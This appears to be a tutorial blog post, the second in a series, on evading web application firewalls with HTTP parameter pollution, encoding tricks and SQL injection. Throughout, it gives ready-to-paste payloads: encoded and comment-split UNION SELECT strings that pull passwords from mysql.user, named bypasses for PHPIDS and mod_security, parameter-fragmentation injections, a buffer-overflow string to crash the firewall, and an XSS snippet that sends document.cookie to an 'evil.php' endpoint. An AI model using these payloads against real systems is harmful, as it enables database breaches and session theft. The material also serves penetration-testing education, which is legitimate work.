Skip to main content

Bypassing Web Application Firewall Part - 2

WAF Bypassing with SQL Injection

HTTP Parameter Pollution & Encoding Techniques

HTTP Parameter Pollution is an attack where we have the ability to override or add HTTP GET/POST parameters by injecting string delimiters. HPP can be distinguished in two categories, client-side and server-side, and the exploitation of HPP can result in the following outcomes:


 •Override existing hardcoded HTTP parameters

 •Modify the application behaviors 

 •Access and potentially exploit uncontrollable variables

 • Bypass input validation checkpoints and WAF rules

HTTP Parameter Pollution – HPP

  WAFs, which is the topic of interest, many times perform query string parsing before applying the filters to this string. This may result in the execution of a payload that an HTTP request can carry. Some WAFs analyze only one parameter from the string of the request, most of the times the first or the last, which may result in a bypass of the WAF filters, and execution of the payload in the server.

 Let’s examine the following HTTP Request from a user to the web application:

HttpRequest("http://server.com/servlet/actions","POST", "action=transfer&amount="+ amount +"&recipient="+ beneficiary); 

Now, let’s change the request to see the response of the server: 

http://website.com/page?amount=1000&recipient=Tom%26action%3dwithdraw 

After this, the request executed in the server will be: 

action=transfer&amount=1000&recipient=Tom&action=withdraw

 This is a result of a WAF that didn’t correctly parse all the parameters of a request, and now the user can supply specially crafted parameters, like the “action=withdraw” in the example, and perform a malicious action in the server side.

Encoding Techniques

  In all the attacks we saw, and that we are going to see, a way to bypass many restrictions is to encode our strings, and there are many ways to do this. Encoding is useful, for example, in HPP that we saw earlier, and we may trick a WAF that cannot normally be bypassed to allow us in if it does not use decode schemes, or if it does not include encoded strings in its filter rules. The same applies to SQL Injection and XSS attacks that we are going to see later in this course.

 As you will see, there are many encoding types that may be supported from a different layer of the server. So, a request that we may make will pass from most of these layers, some of them will try to decode it. Our job here is to find which decode method, or methods, the layer that we are attacking is using and try to use others, or double encode our string to be able to bypass the layer of our scope. Let’s examine some of the encoding methods.

URL Encoding (Hex Encoding)

  URI standards permit URLs to contain only the printable characters in the US-ASCII charset. Also, some characters are restricted because they have special meaning in the URL scheme or the HTTP Protocol. This scheme is mostly used to encode problematic characters, like these with special meaning, so that they can be transported over HTTP without any conflicts. This works by using the hex equivalent for certain characters, such as %27 for ‘ or %3c for <, which we can understand by the % prefix, followed by each character 2 digit ASCII code in hexadecimal. Some characters that we may face are:

 •  %3d – = 

 • %25 – %

 • %20 – Space 

 • %0a – New line

 • %00 – Null byte 

 Let’s see an SQL example from module 1:

 ' union select password from mySQL.user limit 1 /* 

This SQL query string, URL encoded, will be like this:

%27%20union%20select%20password%20from%20mySQL.user%20limit%201%20%2F* 

We can easily encode and decode with this method with the following website: 

http://meyerweb.com/eric/tools/dencoder/

Null Bytes 

Another rather simple way of encoding is using a null byte (%00) prior to any characters that the WAF filter is blocking. For example, the SQL Query we used earlier will be: 

%00' union select password from mySQL.user limit 1 /* 

 WAFs will commonly ignore everything after the null but pass the entire string to the web server where it is processed.

Inline Comments 

Adding inline comments can help the string to bypass the WAFs filters and reach its target. This is mostly used in SQL queries, where we can add comments in the form of /*SELECT*/ or /**/SELECT/**/. For example, the SQL query used earlier, will be:

'/**/union/**/select/**/password/**/from/**/mySQL.user/**/limit/**/1

Or, if we want to step it up a bit, we can use ways like the following:

 '/**/uni/**/on/**/sel/**/ect/**/password/**/from/**/mySQL.user/**/limit/**/1 

Where we can separate SQL keywords with comments.

White Spaces 

 Dropping a space or adding spaces that won’t affect the SQL statement may be a good strategy in an attack to bypass WAF filters. For example:

'or 1 = 1' 

This statement could be: 

‘or '1'='1' 

Or even adding a special character, like new line or tab that won’t change the SQL statement execution, can be effective.

Keyword Splitting

Here we can change the way we sent the SQL queries in an SQL attack to WAF by inserting a special character in the middle of a keyword that will be removed by the WAF, and the query will be executed correctly in the final target. The previous example will be something like this: 

' uni<on sel<ect password from mySQL.user limit 1 /*

It is similar to the comment way we saw earlier, but here if we determine a character that is blocked by the WAF, we can use it for our advantage.

Character Encoding 

 Char() function in MySQL can be used to replace English char variables. For example, let’s take the following example that can be used for exploitation of the DVWA:

' UNION select table_schema,table_name FROM information_Schema.tables where table_schema = "dvwa" – 

This statement with character encoding will be: 

' UNION select table_schema,table_name FROM information_Schema.tables where table_schema =char(100,118,119,97) –

  As you can see here, we replaced the “dvwa” with char(100,118,119,97) which is the MySQL char() function that uses ASCII codes inside and we use it to inject into MySQL without using double quotes that many times gets filtered by WAFs. Char() also works on almost all other databases but sometimes it can only hold one character at a time, like for example char(0x##)+char(0x##)+…So if the one way does not work for us, we have to try another.

Chunked transfer encoding

In this type of encoding, we are sending the request we want in a series of chunks, or parts. This way can help us split up malicious requests over multiple HTTP requests, so the WAF cannot block the malicious request. This can be done using the Transfer-Encoding HTTP Header in place of the Content-Length header. The transfer-encoding header is used like this in an HTTP request:  

Transfer-Encoding: <chunked | compress |deflate | gzip | identity>

Keyword Replacing 

 Many times keywords themselves are blocked from the WAF. An encode way to bypass this filter is by replacing the keywords we use with others, so once the WAF strips the keyword, our desired keyword will remain, and be executed in the next layer. Taking our SQL example:

  ' union selselectect password from mySQL.user limit 1 /*

  Here is an example that the WAF is blocking the select keyword. Once the query passes and gets filtered, the middle select keyword will be deleted and the sel from the start and ect from the end will get merged and form a new select keyword that will get executed in the server. 

 String Concatenation 

 With string concatenation, we can break up SQL keywords and bypass WAF filter rules. Concatenation syntax varies based on the database engine. For example, in a MS SQL engine, the select 1 statement can be changed as below by using concatenation:

EXEC('SEL' + 'ECT 1') 

As we will see in our examples, this is an effective way to bypass WAFs.

Case Sensitivity 

 Many times, WAF filters will fail to filter a malicious keyword from a supplied query if the rules that it uses has case sensitive keywords. For example, if the WAF can block the keyword select in lowercase and uppercase, but does only these controls, supplying something like sElEcT will fail to be blocked, and will bypass the WAF. This applies to XSS attack too, and it can be used like this:

<sCrItT type="text/javascript">

var adr = '../evil.php?cakemonster=' + escape(document.cookie);

</ScRipt>

Double Encoding

  As we said in the start of this section, there are many layers that may exist until our malicious code reaches its destination. Until now, we examined single ways to encode our strings, but what happens when more than one decode takes place in the chain? The answer is simple, we encode more than one time. 

  Let’s take a scenario where the web server does URL decoding but WAF also does URL decoding for security purposes. Our SQL injection example this time will be:

 %2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25 2F*

 This string is the same as in our URL Encoding example but it has been encoded one more time in the same way. In this situation and when the WAF decodes this string, it will fail to block it, because it is still encoded and it cannot find the malicious string. In the stage of the web server, the string will be decoded again, and executed correctly. 

  The double encoding way can be used in many situations and combinations. We have to fingerprint correctly the server side and the WAF to be able to know what decodes take place and perform the corresponding encodings.

 Bypassing WAF with SQL Injection

  Until now, most of our examples used SQL queries for WAF Bypassing. This happens because the most common attack used in WAF bypassing is SQL Injection. But let’s start with SQL itself. SQL (acronym for Structured Query Language) is a query language used in the design and management of databases. Most of the products used today are relational databases, like SQL Server, MySQL and other. Databases have data stored inside a table-like structure that has rows and columns.

  The queries that you may have seen many times in this course are strings that with the use of select statement retrieve data from the database in the call of the client. Except for select, there are some other statements that are mostly used in SQL Injection, which are the following:

 • INSERT Statement: INSERT statement is used to create a new row of data within a table. It is commonly used when an application adds a new entry to an audit log, creates a new user account, or generates a new order. 

 • UPDATE Statement: UPDATE statement is used to modify one or more existing rows of data within a table. It is often used in functions where a user changes the value of data that already exists in the database. 

 • DELETE Statement: DELETE statement is used to delete one or more rows of data within a table of a database.

       There is one more common aspect that is used widely in SQL injection attacks, the UNION operator. It is used to combine the results of two or more SELECT statements into a single result. So, when a client application makes a query to retrieve some data from the server, the UNION operator can be used to add another SELECT statement and have both select statements executed in the database. For example, let’s take the following query:

SELECT * FROM users WHERE fname=’Tom’ 

 Here the query is called to return all the records from the table users that have the fname field equal to Tom. (The * character is a wildcard in SQL and selects all the columns in a table) Now, the use of the UNION operator in this query is pretty simple:

SELECT * FROM users WHERE fname=’Tom’ UNION SELECT password FROM users –‘ 

 Here, the query does everything that it did earlier, and it adds in the results the records of the passwords row in the users table. So, you can understand that by supplying this UNION operator on a vulnerable web application that already supplies a query to the database, it will add the query of our choice in this “equation”. Let’s now see what exactly is SQL Injection and how we can use it in WAF Bypassing.

SQL Injection

SQL Injection is a code injection attack where the attacker supplies a malicious crafted query to the database with the intention of data extraction from it. It is a really common vulnerability, despite the fact that it is one of the older ones. To see how this vulnerability works, imagine a search field in a website where we supply a names, and it returns info about that corresponding name. The database executes the following query:

SELECT * FROM users WHERE name=’tom’; 

 If this database is vulnerable and we supply a ‘ it will return an error because we will have the following results in the query: 

 SELECT * FROM users WHERE name=’’’; 

 An example attack in this situation would be:

  SELECT * FROM users WHERE name = 'tom' OR '1'='1' -- ';

 Here we supplied tom’ OR ‘1’=’1’—which resulted in a logical expression that always results as True, because 1=1 every time, and with the or operator, we need only one of the two to be true for the query to return everything in the users table. The double – symbol is added, so everything else after them is commented out and not executed.

Blind SQL Injection

 Blind SQL Injection is the most common type of SQL injection, and its difference from the simple one is that the results of this type of injection are not visible to the attacker. The page will not display the results as in the previous example but it will display them depending on the logical statement results that will occur from our injection. It is a difficult vulnerability to exploit because it needs time to test many things one by one, and most of them will be unsuccessful requests. Let’s take the previous example with the name search field. In a situation like this, which is the most common one in a penetration test, the query happens completely on the server; we don’t know the names of the database, table, or fields, nor the query string. In this situation, the simple 1=1 that we provided earlier, will give us no result, and this is what a blind SQL injection does.

 This time we need to supply something like this:

tom’ and 1=1— 

As you can see, here it is needed for both of the Boolean expressions to be true, for tom to equal a record in the database and 1=1 to be true, which always happens. If this returns a result, it means that it is vulnerable to Blind SQL Injection and we can continue to fingerprint the database.

A good example on how to continue would be

Tom’ AND substring(@@version, 1, 1)=5

The “substring(@@version, 1, 1)=5” part checks to see if the version of MySQL is version 5 (through the “=5” check), and if it is running version 5 then the page will just load normally because SQL will run without a problem. And this is the way of blind sql injection. We have to supply questions to the database that if they are true, the page that corresponds to the first part of the string that we supplied will load.

 These types of attacks are tested many times by automated tools, like sqlmap, but be careful, because these types of tools are really noisy and can result in numerous junk reports in the database you are testing, a thing that you surely don’t want. 

 Finally, after the MySQL fingerprinting example we saw, there is another similar way to find and fingerprint an Oracle based database by submitting the following query in the database:

SELECT banner FROM v$version WHERE rownum=1

In situations like these, not only can we retrieve information about the database software, but the details about the version are also returned, so there is no way to check for a specific version, but we can just supply the @@version in the query for MySQL. If the underlying database is not up to date, new vectors of attack, such as buffer overflows, could be explored.

It is also possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF filter rules with their synonyms. For example:

  • substring() -> mid(), substr(), etc 

 • ascii() -> hex(), bin(), etc 

 • benchmark() -> sleep() 

Let’s now see some examples of filter rule bypass on WAF, with SQL Injection.

WAF Filter Rules Bypass with SQL Injection

As we said, filter rules are the main aspect of security of a WAF, and we need to be able to bypass them if a WAF exists in front of a server we want to scan. Now, let’s say that we are testing the http://website.com/?id=1 which has the parameter ?id=1 and it seems vulnerable from our basic steps. A first way to supply a query that gives us the filter rule is a simple one like:

/?id=1+union+(select+*+from+users)

Here the query is normal with no encoding, and WAF detects it immediately and blocks us. Now, there are many ways to bypass this rules as we saw earlier, so let’s examine some examples:

/?id=(1)union(select(1),mid(hash,1,32)from(users))

In this situation, we replace the substring() function with mid(), which can have positive results, as many of the WAFs filter only a small amount of functions.

/?id=1+union+(select'1',concat(login,hash)from+passwords)

Here, we concatenate our string with the concat() function, that may help us in situations that the WAF filters the whole query. By concatenating it, we are sure that our query will not be blocked from this type of filter 

/?id=(1)union(((((((select(*),hex(hash)from(passwords))))))))

Many WAFs filter only one layer of brackets, so an effective way of bypass is to add more layers that will trick the WAF to think that there is nothing malicious inside the bracket. 

Now let’s see some real world filter bypass examples for industry used WAFs.

PHPIDS - PHP Intrusion Detection System

PHPIDS (PHP Intrusion Detection System) is an open source PHP Web Application Intrusion Detection System. Because of its nature, it is widely known and used, and you can find it in many web servers. PHPIDS has some default filter rules that you can find in its GitHub page. Now, let’s perform our first attack in a system that uses a MySQL database:

/?id=1+union+select+user,password+from+mysql.user+where+user=1

Supplying this, the WAF blocks us, because as you can see, it is pretty straight forward that we are supplying an SQL query. Let’s change this query to something like this:

/?id=1+union+select+user,password+from+mysql.user+limit+0,1

Here you can see that we changed the Where user=1 with the limit statement, which is used to retrieve records from one or more tables in a database and limit the number of records returned based on a limit value. So, even not knowing the rule, and changing the query like this, we now know one of the rules.

Continuing, let’s give a really simple but powerful query we saw earlier, the 1 OR 1=1.

 /?id=1+OR+1=1

 We can see here that the WAF blocks us, and it is normal as it is a pretty standard and well known malicious query. But, its bypass is pretty easy too. We just have to change the numbers with their hex equivalents to be able to bypass the WAF and reach the target SQL database:

 /?id=1+OR+0x50=0x50  

Finally, in version 0.6.1.1 of PHPIDS that we are checking out, a bypass similar to the generic one we saw earlier takes place, and if we replace the substring() function, with the mid() one, we can bypass the firewall.

 Mod_Security

  In mod_security’s 2.5.9 version, we have many filters that can be bypassed. Two of the common ones that we saw again until now are the substring – mid alteration and the hex encoding of the 1=1 expression. We can also alternate the and 1=2 expression with the following:

 ?id=1+and+5!=6

which will bypass the filter correctly. Also, this WAF is filtering the drop statement that we can change with this:

 /?id=1;delete members

HPP Exploitation with SQL Injection

 We talked about HTTP Parameter Pollution in the start of this module, and now that we have an idea of the SQL Injection attacks, let’s combine them to exploit HPP. We have to start by saying that an HPP attack’s success depends on the environment of the application that we are attacking. Now, the logic behind this attack is that we can separate a query into many parts by adding parameters. For example:

 http://website.com/?id=”queryquery1”&id=”queryquery2”

 In the final destination, this query will be merged and get executed by the server if the web site has the HPP Vulnerability. This vulnerability will look something like this in the SQL request code that a web application performs:

 SQL="select key from table where id="+Request.QueryString("id") 

And it can be exploited by the logic we saw earlier: 

/?id=1/**/union/*&id=*/select/*&id=*/tom/*&id=*/from/*&id=*/users

As you can understand, we used many &id parameters to concatenate the query, and we used SQL comments to comment out these parameters in the final SQL server destination. With this technique, only the query is left in the end to be executed. So, combining the code that the form executes and the query we supply in the parameter, we have:

 select key from table where 

id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan


HTTP Parameter Fragmentation – HPF

 HTTP Parameter fragmentation is similar to HPP but with the addition that we are not using the same parameter again and again. In HPF, we are attacking web pages that have more than one parameter, and the SQL query we are trying to inject gets fragmented into as many pieces as the numbers of the available parameters. An example of the vulnerable code could be:

 Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']); 

Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit 

".$_GET['c']);

As you can see, this page produces a query with two parameters, a and b, and sends both of them to the server. By supplying the following:

/?a=1+union+select+1,2/*

we are commenting out all the following query from after the injected one, and this request doesn’t allow anyone to conduct the attack, because we can see in the vulnerable code that it has the AND operator, so it needs both the parameters.

 To exploit code like this, we can change our previous query to something like this:

 /?a=1+union/*&b=*/select+1,2

  Here you can see that we are separating the query in both of the parameters, so the code gets True, as both the parameters exist, and we add the SQL comment in the right places, so the parameters will be commented out in the end, and the query will be merged into one piece. The final query from the first vulnerable code, will be:

 select * from table where a=1 union/* and b=*/select 1,2

Another example with more than two parameters could be:

 /?a=1+union/*&b=*/select+1,password/*&c=*/from+users—

  The same applies here, with three part fragmentation, because we have three parameters. The final SQL parameter in this situation, will be: 

select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--

Bypassing WAFs with SQL Injection Normalization

Many times in the previous examples, we talked about normalization without really mentioning it. Normalization is the process of adding comments and other symbols that the WAF strips inside keywords that the WAF also strips, so the final result will be our desired query that we want to be executed in the database. It is a really good WAF bypassing method, but we have to know some of the filters that the WAF uses for the attack to success.

 In the example we saw earlier that didn’t let anyone conduct an attack, due to filtering from the WAF (/?a=1+union+select+1,2/*), we can add the following:

  /?a=1/*union*/union/*select*/select+1,2/* 

If there is a corresponding vulnerability here in the WAF, this request will be successfully performed in the server. After being processed by WAF, the request will become: 

 ?a=1/*uniX on*/union/*sel X ect*/select+1,2/*

This example works in case of cleaning of dangerous traffic by the WAF, and not in case of blocking the entire request or the attack source. Similarly, the following request doesn’t allow anyone to perform this query: 

 /?id=1+union+select+1,2,3/*

But if we change it to something like this, and the WAF is vulnerable to normalization techniques:

  /?id=1+un/**/ion+sel/**/ect+1,2,3—

  This query will be executed completely in the SQL database, and it will look something like this:

 SELECT * from table where id =1 union select 1,2,3— 

 This example works in case of excessive cleaning of incoming data (replacement of a regular expression with the empty string). As you can understand, instead of the /**/ comment symbol, any symbol sequence that WAF cuts off can be used (e.g., #####, %00), but we have to know, and we can find it out by fingerprinting the filter rules of the WAF.

 Buffer Overflow + SQL Injection = Bypass WAF

 For those who don’t know, “a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.” We can exploit this vulnerability that exists in some WAFs that have special coding background.

 

  For example, many firewalls are written in C or C++, which we can crash with a buffer overflow, because some variables of the program can take only a small amount of memory, and we can bypass it if there is no protection, or bad coding. 

 Let’s take again a website, and supply the following link:

 http://www.website.com/?id=-15+and+(select 1)=(Select 0xAA[..(here we add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2

 With this method, the WAF firstly crashes and then the SQL query gets to the server and executes. We can also test if the firewall crashed, by supplying:

http://www.website.com/ id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/% 0A/*nnaa*/+1,2

If it returns a 500 HTTP response, it means that we can exploit this WAF with buffer overflow.

WAF Bypass with SQL Injection Examples

 Let’s close the section of SQL Injection WAF Bypass with some practical examples. As we saw in the start, one of the most common ways of bypass is with encoding. But we just saw encoding of a whole keyword, or even double encoding. If we see that none of this works, we can also advance it a bit, and only encode a part of a keyword, and this is a way that not many manufacturers have in mind. So, in this situation, we replace some characters with their HEX(URL-encoded) equivalents. For example:

 http://www.website.com/?id=15 /*!u%6eion*/ /*!se%6cect*/ 1,2

  So now the WAF will have the original and the hex encoded keyword in the filter rules, but it is really difficult to have all the possible alterations inside, so trying a different character each time can give us the golden ticket. As you can see here, we just supplying union select, with some characters encoded to HEX. 

 Next, many WAFs try to offer protection by adding some prototype or strange functions. Let’s take a firewall, for example, that replaces the apostrophe symbol (‘) with whitespaces. Here we can add apostrophes inside the keywords we want, to separate them and not get recognized by the WAF, as we saw in the keyword splitting section.

 http://www.website.com/?id=-15+uni’on+sel’ect+1,2

 The apostrophe is a commonly blocked character by WAFs, because it usually causes problems with SQL databases. Now, in this example, if the WAF filters and removes the apostrophe, the resulting query will give 15 union select 1,2, and this is a pretty easy bypass that happens really often. Some more examples that can give you ideas about how you can use encoding cleverly to bypass WAFs can be seen below:

 /*--*/union/*--*/select/*--*/ 

REVERSE(noinu)+REVERSE(tceles) 

 +UnIOn%0d%0aSeleCt%0d%0a 

 /%2A%2A/union/%2A%2A/select/%2A%2A/ 

 %55nion(%53elect) 

union%20distinct%20select 

%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect

%55nion %53eLEct

  As you can see, the possibilities are endless, and WAF bypassing, when we are heading for SQL Injection, stops only by our imagination. There are many things we can do, many encoding schemes we can combine, and all these get multiplied when we have deep knowledge of SQL Injection and queries and we can make many variations of the same query.

Popular posts from this blog

Haking On Demand_WireShark - Part 5

Detect/Analyze Scanning Traffic Using Wireshark “Wireshark”, the world’s most popular Network Protocol Analyzer is a multipurpose tool. It can be used as a Packet Sniffer, Network Analyser, Protocol Analyser & Forensic tool. Through this article my focus is on how to use Wireshark to detect/analyze any scanning & suspect traffic. Let’s start with Scanning first. As a thief studies surroundings before stealing something from a target, similarly attackers or hackers also perform foot printing and scanning before the actual attack. In this phase, they want to collect all possible information about the target so that they can plan their attack accordingly. If we talk about scanning here they want to collect details like: • Which IP addresses are in use? • Which port/services are active on those IPs? • Which platform (Operating System) is in use? • What are the vulnerabilities & other similar kinds of information. • Now moving to some popular scan methods and ho

Bypassing Web Application Firewall Part - 4

Securing WAF and Conclusion DOM Based XSS DOM based XSS is another type of XSS that is also used widely, and we didn’t discuss it in module 3. The DOM, or Document Object Model, is the structural format used to represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components of the document such as a form field or a session cookie, and it is also a security feature that limits scripts on different domains from obtaining cookies for other domains. Now, the XSS attacks based on this is when the payload that we inject is executed as a result of modifying the DOM environment in the victim’s browser, so that the code runs in an unexpected way. By this we mean that in contrast with the other two attacks, here the page that the victim sees does not change, but the injected code is executed differently because of the modifications that have been done in the DOM environment, that we said earlier. In the other XSS attacks, we saw the injected code was